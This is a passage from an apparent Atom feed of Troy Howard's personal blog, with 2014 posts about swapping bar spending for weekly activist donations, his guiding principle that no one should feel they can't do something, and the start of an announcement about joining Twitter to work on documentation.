		<content type="html">&lt;p&gt;&lt;strong&gt;I used to spend a lot on booze.&lt;/strong&gt; Now I spend a lot supporting grass-roots activism. You can too.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt;, &lt;strong&gt;give as much to your local cause as you do your local bar.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;alcohol-and-activism&#34;&gt;Alcohol and Activism&lt;/h2&gt;&#xA;&lt;p&gt;This story starts on a sad note; &lt;strong&gt;a falling from grace&lt;/strong&gt;. In my teens and twenties, I did a lot of political activism. Much of it was local, with me spending my time and direct personal effort to do things like feed the homeless, organize protests, community-improvement projects in the ghetto, awareness efforts, etc.&lt;/p&gt;&#xA;&lt;p&gt;At that time, I was living in St. Louis, and was making the least money I&#39;ve ever made. I couldn&#39;t have afforded to donate to charities. I was barely keeping myself afloat financially. Instead I gave my time and effort. This work culminated with me moving to China for a long-term humanitarian mission there. That part was &lt;em&gt;awesome&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;However, in 2005 I had to leave China and return to the US due to a family emergency. &lt;strong&gt;I started working full-time in technology, rapidly advancing my career, focusing entirely on work.&lt;/strong&gt; I stopped being an activist completely. I smoked a lot, drank a lot, ate and slept poorly, and gained a ton of weight. I went from 180lbs to 260lbs in a few years time. I was making the most money I&#39;d ever made, but spending a lot of it on booze.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;d go to the bar, and &lt;strong&gt;drop $50-100 in a night&lt;/strong&gt;, almost every night. Sometimes I&#39;d be over the line and wake up at home not knowing how I got there, vomiting and hungover, missing meetings at work, deadlines all slipping, a &lt;strong&gt;trail of embarrassments and disappointments strewn behind me&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since then, I&#39;ve stopped smoking, reduced my drinking a lot, focused on my health. It&#39;s working; &lt;strong&gt;I&#39;m getting a lot healthier&lt;/strong&gt;. I&#39;m still heavier than I should be at 230lbs and get winded easily doing things that I used to do without any effort at all.&lt;/p&gt;&#xA;&lt;p&gt;I still go out drinking sometimes, and when I do, it&#39;s really hard to stop myself from over-doing it and drinking too much. But I&#39;m making a lot of progress, and hopefully will reach my lofty personal goals within a year or two.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donations-as-inactive-activism&#34;&gt;Donations as Inactive Activism&lt;/h2&gt;&#xA;&lt;p&gt;Despite improving my personal health, one thing that has been bugging me is that &lt;strong&gt;I do very little activism&lt;/strong&gt;. I haven&#39;t been able to get myself motivated to go out and be hands-on anymore. I strongly feel that &lt;strong&gt;direct volunteering and hands-on work is the best approach&lt;/strong&gt;, but haven&#39;t been able to get back into actually doing it. Maybe I did too much when I was younger, and now I&#39;m burnt out. I&#39;m not sure.&lt;/p&gt;&#xA;&lt;p&gt;However, I make more money now than I ever have. It&#39;s a strange realization that I now have more money than time, considering how poor my family was growing up. Also, I realize that since I&#39;ve reduced my drinking a lot, &lt;strong&gt;I can reclaim that money and use it for something better:&lt;/strong&gt; donating to activists working on causes that I support.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not everyone can volunteer, but many people can donate.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, every Friday, before going out to a bar or restaurant, I spend $50-100 on causes that I care about. Then I make sure I don&#39;t spend more than that when I&#39;m out.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s my allowance/party budget. I &lt;em&gt;feel&lt;/em&gt; a lot better about my spending when I know I&#39;m matching it with donations. It makes drinking and eating at restaurants a much more positive and guilt-free experience. That bit is by far, the least important part of what I&#39;m doing, but it&#39;s a nice perk.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sharing-is-caring&#34;&gt;Sharing is Caring&lt;/h2&gt;&#xA;&lt;p&gt;Starting today (June 6, 2014), and every Friday from now on, I&#39;ll tweet out about the things I funded that week with the &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt; hashtag.&lt;/p&gt;&#xA;&lt;p&gt;If you &lt;a href=&#34;https://twitter.com/thoward37&#34;&gt;follow me on Twitter&lt;/a&gt; you can &lt;strong&gt;keep me accountable&lt;/strong&gt; and encourage me to keep doing this with a favorite or a quick &amp;quot;nice job&amp;quot; reply. If you want to you can donate to the same things I do, or pick your own and tweet about it. I promise to deliver &lt;strong&gt;tons of virtual high-fives&lt;/strong&gt; if you do!&lt;/p&gt;&#xA;&lt;p&gt;Also, turns out &lt;strong&gt;I&#39;m not the only one&lt;/strong&gt; with this idea. When I decided on the &lt;a href=&#34;https://twitter.com/search?f=realtime&amp;amp;q=%23fridaydonation&amp;amp;src=typd&#34;&gt;&lt;a href=&#34;/tags/fridaydonation/&#34; data-hyper-mention&gt;#FridayDonation&lt;/a&gt;&lt;/a&gt; hashtag, I found that &lt;a href=&#34;http://twitter.com/dellapina&#34;&gt;Jennifer Dellapina&lt;/a&gt; has been doing exactly the same thing since at least January of this year. Awesome! &lt;strong&gt;High-fives Jennifer!&lt;/strong&gt; Hopefully we can build a chorus of voices donating to improve the world.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>My Principle</title>
		<id>https://blog.thoward37.me/articles/my-principle</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/my-principle" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/my-principle" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/my-principle" type="text/html"></link>
		<published>2014-03-11T00:00:00+00:00</published>
		<updated>2014-03-11T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;a href=&#34;https://twitter.com/worrydream&#34;&gt;Bret Victor&lt;/a&gt; is one of my favourite thinkers. One of the few people who deserves the oft-chuckled-at title of &amp;quot;thought leader&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;In his talk &lt;em&gt;&lt;a href=&#34;http://vimeo.com/36579366&#34;&gt;Inventing on Principle&lt;/a&gt;&lt;/em&gt;, Bret described how he, and many other influential figures, have been guided by a driving principle, unique to the individual, which when applied to a variety of situations, led them to improve and innovate upon the &lt;em&gt;status quo&lt;/em&gt;. He advocated that one could find their personal principle, identify with it, and be guided by it.&lt;/p&gt;&#xA;&lt;p&gt;I think I&#39;ve found my principle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-one-should-ever-feel-like-they-cant-do-something&#34;&gt;No One Should Ever Feel Like They Can&#39;t Do Something&lt;/h2&gt;&#xA;&lt;p&gt;Looking back on my personal history, at the things I&#39;ve done that have been the most significant both to myself and to others, I tried to find a commonality.&lt;/p&gt;&#xA;&lt;p&gt;The main commonality between them is my personal sense of disgust and sadness when I see people tell themselves that they can&#39;t do something. I&#39;m inspired by people who &amp;quot;defeat the odds&amp;quot; to succeed, despite what ostensibly are insurmountable obstacles. Stories of folks like &lt;a href=&#34;https://www.youtube.com/watch?v=qiLDMBDPCEY&#34;&gt;Richie Parker&lt;/a&gt;, &lt;a href=&#34;http://www.youtube.com/watch?v=36m1o-tM05g&#34;&gt;Sam Berns&lt;/a&gt;, or &lt;a href=&#34;http://vimeo.com/40000072&#34;&gt;Caine Monroy&lt;/a&gt; can bring me to tears.&lt;/p&gt;&#xA;&lt;p&gt;But I&#39;m also inspired by less dramatic successes. Watching an artist or a craftsman use a tool that is perfectly suited to a job. Watching a figure skater glide over freshly smoothed ice. I love watching people be free of frustration, confidently able to create what they want to create.&lt;/p&gt;&#xA;&lt;h2 id=&#34;growing-up&#34;&gt;Growing Up&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can be anything you want to be, if you just set your mind to it.&#xA;&lt;strong&gt;- Someone From My Childhood&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Growing up, somehow I got the idea lodged into my head that &amp;quot;You can be anything you want to be, if you just set your mind to it&amp;quot;. I&#39;m not sure who it was that put that idea in my head. Probably not my mother.... or my teachers... or anyone around me. They were all very closed to possibility, and spent a lot of time telling themselves and me to stop trying. &lt;a href=&#34;http://www.theatlantic.com/entertainment/archive/2013/08/you-can-do-em-anything-em-must-every-kids-movie-reinforce-the-cult-of-self-esteem/278596/&#34;&gt;Maybe it was the television&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;No matter how it happened, I&#39;m so lucky that it did. I grew up in a very poor, very depressed environment. I was surrounded by people from a severely oppressed minority, stigmatized by their skin color, beaten down by generations of institutionalized violence. But I was not one of them, I was a &lt;strong&gt;White Male™&lt;/strong&gt; and therefore, free of the inescapable nature of their oppression. We might have shared a common origin, but not common limitations.&lt;/p&gt;&#xA;&lt;p&gt;Being a &lt;strong&gt;White Male™&lt;/strong&gt;, I could learn and grow, find and take opportunity and rise above my humble origins. Once I got there, no-one would be the wiser, and I could claim ownership of my own success. Growing up, my peers and their elders had no such future to look forward to. They didn&#39;t feel, like I felt, that they could &amp;quot;be anything they wanted to be&amp;quot;. Even if they made it, their skin color would always betray their origins; a beacon of &amp;quot;less important, less capable, less trustworthy&amp;quot; broadcast to anyone who so much as caught a glimpse of them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-sense-of-possibility&#34;&gt;A Sense of Possibility&lt;/h2&gt;&#xA;&lt;p&gt;Not having that &lt;strong&gt;sense of possibility&lt;/strong&gt; is a huge loss to the human heart. We are fundamentally optimistic creatures. Perhaps we&#39;re even &lt;a href=&#34;http://content.time.com/time/health/article/0,8599,2074067,00.html&#34;&gt;evolutionarily adapted to be somewhat irrationally optimisitic&lt;/a&gt;; presuming that the future will be what we want it to be, driven to be unreasonably confident, then ultimately succeeding, proving the world wrong.&lt;/p&gt;&#xA;&lt;p&gt;Looking around me, as a child, I saw a loss of that &lt;strong&gt;sense of the possible&lt;/strong&gt; in every dark-skinned person I met, and in most women of every race. It took me until I was 9 years old before I realized that I was different.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I began to see the weird mixture of envy and resentment in their eyes, because I still had hope.&lt;/strong&gt; I was able to look forward to a future for myself, and believe that I could achieve something, anything, if I put my mind to it; but they couldn&#39;t.&lt;/p&gt;&#xA;&lt;h2 id=&#34;history&#34;&gt;History&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can have anything you want if you want it badly enough. You can be anything you want to be, do anything you set out to accomplish if you hold to that desire with singleness of purpose. **- Abraham Lincoln (&lt;em&gt;maybe&lt;/em&gt;) **&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is not a new idea. &lt;a href=&#34;http://en.wikipedia.org/wiki/Abraham_Lincoln&#34;&gt;Abraham Lincoln&lt;/a&gt;, widely credited for being the political force that &lt;a href=&#34;http://en.wikipedia.org/wiki/Abraham_Lincoln_on_slavery&#34;&gt;freed the ancestors of my childhood neighbors from outright slavery&lt;/a&gt;, said this in the early-to-mid 1800s... Or maybe it was &lt;a href=&#34;http://en.wikipedia.org/wiki/Robert_Collier_(author)&#34;&gt;Robert Collier&lt;/a&gt;, who lived in St. Louis (where I lived as a child), during the late-1800-to-early-1900s, just after Lincoln&#39;s era, and personally witnessed such terrible events as the &lt;a href=&#34;http://en.wikipedia.org/wiki/East_St._Louis_Riot&#34;&gt;East St. Louis Race Riots of 1917&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m not sure which of these now-dead people deserves credit for this quote and my &lt;a href=&#34;http://en.wiktionary.org/wiki/Google-fu&#34;&gt;Google-&lt;em&gt;fu&lt;/em&gt;&lt;/a&gt; can&#39;t quite give me a definitive answer. Doesn&#39;t matter to me. Either one (or both) of them saw the same problem that I see now, but in a more poignant form than it exists today.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s still a long road to achieve that dream that you can be anything you want to be, but to be irrationally optimistic, we are closer today than we ever have been.&lt;/p&gt;&#xA;&lt;h2 id=&#34;logic-souls-and-healing&#34;&gt;Logic, Souls and Healing&lt;/h2&gt;&#xA;&lt;p&gt;You may notice that I phrased my principle above as &amp;quot;No One Should Ever Feel Like They Can&#39;t Do Something&amp;quot; -- a double-negative. The original quote is &amp;quot;You can be anything you want to be&amp;quot;... Why did I express the same thing, using double negatives? Because, logic.&lt;/p&gt;&#xA;&lt;p&gt;I am too realistic, too pragmatic, to buy into a feel-good mantra that anyone can do anything. I know that&#39;s not true. I wish it was true, but it&#39;s not. There are limits. Real limits, like missing limbs, poorly functioning human hardware, diseases, ailments, malformations, and many other things. But one thing that is almost always true is that inside, despite physical limitations, the human &lt;em&gt;soul&lt;/em&gt; still works. Maybe not even the brain, but the &lt;em&gt;soul&lt;/em&gt;; that immeasurable engine of feelings and emotions.&lt;/p&gt;&#xA;&lt;p&gt;Most of us have a functioning soul despite any other limitations, but most of us have unhealthy souls. I&#39;m not a &lt;em&gt;religious&lt;/em&gt; person, or even very &lt;em&gt;spiritual&lt;/em&gt;, but I do believe in this idea of a soul, and I believe that it&#39;s important to care about its health and those around you.&lt;/p&gt;&#xA;&lt;p&gt;I can&#39;t, in good conscience watch my peers and neighbors suffer, while I reap the benefits of their suffering at the same time. **I want to see our society healed, and end this plague of the soul. **&lt;/p&gt;&#xA;&lt;h2 id=&#34;innocent-until-proven-guilty&#34;&gt;Innocent Until Proven Guilty&lt;/h2&gt;&#xA;&lt;p&gt;My principle focuses on keeping the soul healthy. I want anyone, at anytime, to &lt;em&gt;feel&lt;/em&gt; as if they can accomplish whatever it is that they want to accomplish. But, more specifically, I want them &lt;strong&gt;not to feel&lt;/strong&gt; like they &lt;strong&gt;can&#39;t do&lt;/strong&gt; something.&lt;/p&gt;&#xA;&lt;p&gt;I don&#39;t think everyone needs to be warm and fuzzy and pushing their personal envelopes all the time. Inspiration is like a fire; it can&#39;t burn all the time. Maybe they never think about doing anything new. Maybe they never have an idea or any inspiration to be more than what they are. Ok... that&#39;s boring, but it&#39;s fine, if that&#39;s just who you are. But when that inspiration happens, I want people to be able to capture that flame, stoke it and let that fire grow as far as possible while it burns.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;When someone feels that they can&#39;t do something, it prevents the flame of inspiration from ever igniting.&lt;/strong&gt; Being told you &amp;quot;can&#39;t&amp;quot; douses it cold as it struggles to move from a spark to fire, never set alight.&lt;/p&gt;&#xA;&lt;p&gt;Not everything succeeds. Not everything is reasonable or even has a chance. But inspiration should be encouraged and ideas should be explored, tried, and be considered &lt;strong&gt;possible until proven impossible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Like the US legal principle that we are innocent until proven guilty, I hold that we can consider anything possible until proven impossible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;let-it-be-incomplete&#34;&gt;Let It Be Incomplete&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Wiki Way: being able to describe the incomplete and make it useful. &lt;strong&gt;- Ward Cunningham&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I recently sat down and chatted with &lt;a href=&#34;http://twitter.com/WardCunningham&#34;&gt;Ward Cunningham&lt;/a&gt; over lunch. I asked him about his personal principle. This resulted in a long conversation. One thing that stuck out was his idea that &lt;strong&gt;you could leave things incomplete, but they could still be useful&lt;/strong&gt;. That was one of the underlying principles that inspired him to &lt;a href=&#34;http://en.wikipedia.org/wiki/Ward_Cunningham&#34;&gt;create the wiki&lt;/a&gt; and help launch the &lt;a href=&#34;http://en.wikipedia.org/wiki/Agile_software_development&#34;&gt;Agile movement&lt;/a&gt;. Seems like a good principle.&lt;/p&gt;&#xA;&lt;p&gt;My ideas here are not fully developed. I&#39;m not completely sure if my principle is correctly described or how to be guided by it. But at least, stating it here, in this fledgling and incomplete form, is a starting point.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s see where it goes...&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;a href=&#34;https://twitter.com/worrydream&#34;&gt;Bret Victor&lt;/a&gt; is one of my favourite thinkers. One of the few people who deserves the oft-chuckled-at title of &amp;quot;thought leader&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;In his talk &lt;em&gt;&lt;a href=&#34;http://vimeo.com/36579366&#34;&gt;Inventing on Principle&lt;/a&gt;&lt;/em&gt;, Bret described how he, and many other influential figures, have been guided by a driving principle, unique to the individual, which when applied to a variety of situations, led them to improve and innovate upon the &lt;em&gt;status quo&lt;/em&gt;. He advocated that one could find their personal principle, identify with it, and be guided by it.&lt;/p&gt;&#xA;&lt;p&gt;I think I&#39;ve found my principle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-one-should-ever-feel-like-they-cant-do-something&#34;&gt;No One Should Ever Feel Like They Can&#39;t Do Something&lt;/h2&gt;&#xA;&lt;p&gt;Looking back on my personal history, at the things I&#39;ve done that have been the most significant both to myself and to others, I tried to find a commonality.&lt;/p&gt;&#xA;&lt;p&gt;The main commonality between them is my personal sense of disgust and sadness when I see people tell themselves that they can&#39;t do something. I&#39;m inspired by people who &amp;quot;defeat the odds&amp;quot; to succeed, despite what ostensibly are insurmountable obstacles. Stories of folks like &lt;a href=&#34;https://www.youtube.com/watch?v=qiLDMBDPCEY&#34;&gt;Richie Parker&lt;/a&gt;, &lt;a href=&#34;http://www.youtube.com/watch?v=36m1o-tM05g&#34;&gt;Sam Berns&lt;/a&gt;, or &lt;a href=&#34;http://vimeo.com/40000072&#34;&gt;Caine Monroy&lt;/a&gt; can bring me to tears.&lt;/p&gt;&#xA;&lt;p&gt;But I&#39;m also inspired by less dramatic successes. Watching an artist or a craftsman use a tool that is perfectly suited to a job. Watching a figure skater glide over freshly smoothed ice. I love watching people be free of frustration, confidently able to create what they want to create.&lt;/p&gt;&#xA;&lt;h2 id=&#34;growing-up&#34;&gt;Growing Up&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can be anything you want to be, if you just set your mind to it.&#xA;&lt;strong&gt;- Someone From My Childhood&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Growing up, somehow I got the idea lodged into my head that &amp;quot;You can be anything you want to be, if you just set your mind to it&amp;quot;. I&#39;m not sure who it was that put that idea in my head. Probably not my mother.... or my teachers... or anyone around me. They were all very closed to possibility, and spent a lot of time telling themselves and me to stop trying. &lt;a href=&#34;http://www.theatlantic.com/entertainment/archive/2013/08/you-can-do-em-anything-em-must-every-kids-movie-reinforce-the-cult-of-self-esteem/278596/&#34;&gt;Maybe it was the television&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;No matter how it happened, I&#39;m so lucky that it did. I grew up in a very poor, very depressed environment. I was surrounded by people from a severely oppressed minority, stigmatized by their skin color, beaten down by generations of institutionalized violence. But I was not one of them, I was a &lt;strong&gt;White Male™&lt;/strong&gt; and therefore, free of the inescapable nature of their oppression. We might have shared a common origin, but not common limitations.&lt;/p&gt;&#xA;&lt;p&gt;Being a &lt;strong&gt;White Male™&lt;/strong&gt;, I could learn and grow, find and take opportunity and rise above my humble origins. Once I got there, no-one would be the wiser, and I could claim ownership of my own success. Growing up, my peers and their elders had no such future to look forward to. They didn&#39;t feel, like I felt, that they could &amp;quot;be anything they wanted to be&amp;quot;. Even if they made it, their skin color would always betray their origins; a beacon of &amp;quot;less important, less capable, less trustworthy&amp;quot; broadcast to anyone who so much as caught a glimpse of them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-sense-of-possibility&#34;&gt;A Sense of Possibility&lt;/h2&gt;&#xA;&lt;p&gt;Not having that &lt;strong&gt;sense of possibility&lt;/strong&gt; is a huge loss to the human heart. We are fundamentally optimistic creatures. Perhaps we&#39;re even &lt;a href=&#34;http://content.time.com/time/health/article/0,8599,2074067,00.html&#34;&gt;evolutionarily adapted to be somewhat irrationally optimisitic&lt;/a&gt;; presuming that the future will be what we want it to be, driven to be unreasonably confident, then ultimately succeeding, proving the world wrong.&lt;/p&gt;&#xA;&lt;p&gt;Looking around me, as a child, I saw a loss of that &lt;strong&gt;sense of the possible&lt;/strong&gt; in every dark-skinned person I met, and in most women of every race. It took me until I was 9 years old before I realized that I was different.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I began to see the weird mixture of envy and resentment in their eyes, because I still had hope.&lt;/strong&gt; I was able to look forward to a future for myself, and believe that I could achieve something, anything, if I put my mind to it; but they couldn&#39;t.&lt;/p&gt;&#xA;&lt;h2 id=&#34;history&#34;&gt;History&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can have anything you want if you want it badly enough. You can be anything you want to be, do anything you set out to accomplish if you hold to that desire with singleness of purpose. **- Abraham Lincoln (&lt;em&gt;maybe&lt;/em&gt;) **&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is not a new idea. &lt;a href=&#34;http://en.wikipedia.org/wiki/Abraham_Lincoln&#34;&gt;Abraham Lincoln&lt;/a&gt;, widely credited for being the political force that &lt;a href=&#34;http://en.wikipedia.org/wiki/Abraham_Lincoln_on_slavery&#34;&gt;freed the ancestors of my childhood neighbors from outright slavery&lt;/a&gt;, said this in the early-to-mid 1800s... Or maybe it was &lt;a href=&#34;http://en.wikipedia.org/wiki/Robert_Collier_(author)&#34;&gt;Robert Collier&lt;/a&gt;, who lived in St. Louis (where I lived as a child), during the late-1800-to-early-1900s, just after Lincoln&#39;s era, and personally witnessed such terrible events as the &lt;a href=&#34;http://en.wikipedia.org/wiki/East_St._Louis_Riot&#34;&gt;East St. Louis Race Riots of 1917&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m not sure which of these now-dead people deserves credit for this quote and my &lt;a href=&#34;http://en.wiktionary.org/wiki/Google-fu&#34;&gt;Google-&lt;em&gt;fu&lt;/em&gt;&lt;/a&gt; can&#39;t quite give me a definitive answer. Doesn&#39;t matter to me. Either one (or both) of them saw the same problem that I see now, but in a more poignant form than it exists today.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s still a long road to achieve that dream that you can be anything you want to be, but to be irrationally optimistic, we are closer today than we ever have been.&lt;/p&gt;&#xA;&lt;h2 id=&#34;logic-souls-and-healing&#34;&gt;Logic, Souls and Healing&lt;/h2&gt;&#xA;&lt;p&gt;You may notice that I phrased my principle above as &amp;quot;No One Should Ever Feel Like They Can&#39;t Do Something&amp;quot; -- a double-negative. The original quote is &amp;quot;You can be anything you want to be&amp;quot;... Why did I express the same thing, using double negatives? Because, logic.&lt;/p&gt;&#xA;&lt;p&gt;I am too realistic, too pragmatic, to buy into a feel-good mantra that anyone can do anything. I know that&#39;s not true. I wish it was true, but it&#39;s not. There are limits. Real limits, like missing limbs, poorly functioning human hardware, diseases, ailments, malformations, and many other things. But one thing that is almost always true is that inside, despite physical limitations, the human &lt;em&gt;soul&lt;/em&gt; still works. Maybe not even the brain, but the &lt;em&gt;soul&lt;/em&gt;; that immeasurable engine of feelings and emotions.&lt;/p&gt;&#xA;&lt;p&gt;Most of us have a functioning soul despite any other limitations, but most of us have unhealthy souls. I&#39;m not a &lt;em&gt;religious&lt;/em&gt; person, or even very &lt;em&gt;spiritual&lt;/em&gt;, but I do believe in this idea of a soul, and I believe that it&#39;s important to care about its health and those around you.&lt;/p&gt;&#xA;&lt;p&gt;I can&#39;t, in good conscience watch my peers and neighbors suffer, while I reap the benefits of their suffering at the same time. **I want to see our society healed, and end this plague of the soul. **&lt;/p&gt;&#xA;&lt;h2 id=&#34;innocent-until-proven-guilty&#34;&gt;Innocent Until Proven Guilty&lt;/h2&gt;&#xA;&lt;p&gt;My principle focuses on keeping the soul healthy. I want anyone, at anytime, to &lt;em&gt;feel&lt;/em&gt; as if they can accomplish whatever it is that they want to accomplish. But, more specifically, I want them &lt;strong&gt;not to feel&lt;/strong&gt; like they &lt;strong&gt;can&#39;t do&lt;/strong&gt; something.&lt;/p&gt;&#xA;&lt;p&gt;I don&#39;t think everyone needs to be warm and fuzzy and pushing their personal envelopes all the time. Inspiration is like a fire; it can&#39;t burn all the time. Maybe they never think about doing anything new. Maybe they never have an idea or any inspiration to be more than what they are. Ok... that&#39;s boring, but it&#39;s fine, if that&#39;s just who you are. But when that inspiration happens, I want people to be able to capture that flame, stoke it and let that fire grow as far as possible while it burns.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;When someone feels that they can&#39;t do something, it prevents the flame of inspiration from ever igniting.&lt;/strong&gt; Being told you &amp;quot;can&#39;t&amp;quot; douses it cold as it struggles to move from a spark to fire, never set alight.&lt;/p&gt;&#xA;&lt;p&gt;Not everything succeeds. Not everything is reasonable or even has a chance. But inspiration should be encouraged and ideas should be explored, tried, and be considered &lt;strong&gt;possible until proven impossible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Like the US legal principle that we are innocent until proven guilty, I hold that we can consider anything possible until proven impossible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;let-it-be-incomplete&#34;&gt;Let It Be Incomplete&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Wiki Way: being able to describe the incomplete and make it useful. &lt;strong&gt;- Ward Cunningham&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I recently sat down and chatted with &lt;a href=&#34;http://twitter.com/WardCunningham&#34;&gt;Ward Cunningham&lt;/a&gt; over lunch. I asked him about his personal principle. This resulted in a long conversation. One thing that stuck out was his idea that &lt;strong&gt;you could leave things incomplete, but they could still be useful&lt;/strong&gt;. That was one of the underlying principles that inspired him to &lt;a href=&#34;http://en.wikipedia.org/wiki/Ward_Cunningham&#34;&gt;create the wiki&lt;/a&gt; and help launch the &lt;a href=&#34;http://en.wikipedia.org/wiki/Agile_software_development&#34;&gt;Agile movement&lt;/a&gt;. Seems like a good principle.&lt;/p&gt;&#xA;&lt;p&gt;My ideas here are not fully developed. I&#39;m not completely sure if my principle is correctly described or how to be guided by it. But at least, stating it here, in this fledgling and incomplete form, is a starting point.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s see where it goes...&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Developer to Documentarian</title>
		<id>https://blog.thoward37.me/articles/developer-to-documentarian</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/developer-to-documentarian" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/developer-to-documentarian" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/developer-to-documentarian" type="text/html"></link>
		<published>2014-03-09T00:00:00+00:00</published>
		<updated>2014-03-09T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;TL;DR: I&#39;m excited to announce that I am joining Twitter to focus full-time on documentation and open source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;background&#34;&gt;Background&lt;/h3&gt;&#xA;&lt;p&gt;Living in Portland, I&#39;m lucky to be surrounded by some amazing people. If you wander down to the &lt;a href=&#34;http://www.foodcartsportland.com/&#34;&gt;food carts&lt;/a&gt; on any given weekday at lunch time, you&#39;re likely to run into any number of luminary &#39;people from the internet&#39; hanging around.&lt;/p&gt;&#xA;&lt;p&gt;One of those people might be &lt;a href=&#34;http://twitter.com/ericholscher&#34;&gt;Eric Holscher&lt;/a&gt;. I&#39;ve known Eric since 2011, mostly as a &lt;a href=&#34;http://flic.kr/p/eaGmjA&#34;&gt;towering wookie-like figure&lt;/a&gt; with &lt;a href=&#34;https://twitter.com/ericholscher/status/270709054115033088&#34;&gt;killer ping-pong moves&lt;/a&gt; that is also an &lt;a href=&#34;http://ericholscher.com/blog/2009/nov/10/what-they-didnt-teach-me-college/&#34;&gt;insightful Python developer&lt;/a&gt;. I was vaguely aware of his side-project, &lt;a href=&#34;https://readthedocs.org/&#34;&gt;Read The Docs&lt;/a&gt;, which, &lt;a href=&#34;http://ericholscher.com/blog/2010/aug/16/announcing-read-docs/&#34;&gt;since 2010&lt;/a&gt; has been a vital resource to the Python open source community.&lt;/p&gt;&#xA;&lt;p&gt;As a developer, I have always cared about documentation, but I&#39;m not sure I ever thought about it &lt;em&gt;deeply&lt;/em&gt; until I got to know Eric Holscher better. Sometime in early 2013, I ran into Eric at a local eatery, and we started discussing Read The Docs. He had recently &lt;a href=&#34;http://ericholscher.com/blog/2013/jan/10/walk-woods/&#34;&gt;left his job at Urban Airship&lt;/a&gt; and was able to work on Read The Docs full time. This was going well, but he was concerned about the future of the project. There didn&#39;t seem to be a sense of community around documentation. Was documentation ever going to be given the focus it needed?&lt;/p&gt;&#xA;&lt;p&gt;At the same time, I looked around me and realized 